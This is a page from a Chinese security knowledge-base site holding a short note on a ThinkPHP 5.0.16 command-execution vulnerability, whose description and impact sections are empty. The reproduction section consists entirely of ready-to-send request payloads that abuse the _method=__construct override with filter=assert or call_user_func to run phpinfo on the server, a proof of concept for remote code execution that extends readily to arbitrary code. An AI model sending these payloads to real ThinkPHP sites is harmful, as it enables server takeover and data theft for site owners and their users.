menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 002-Thinkphp 5.x 命令执行漏洞 chevron_right 006-Thinkphp 5.0.16.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    006-Thinkphp 5.0.16.md
    414 B / 2021-07-17 00:01:32
        # Thinkphp 5.0.16
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    ### 三、复现过程
    
    
    ```
    http://url/index.php?=captcha.php
    
    s=phpinfo()&_method=__construct&filter=assert
    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    _method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
    ```
    
    links
    file_download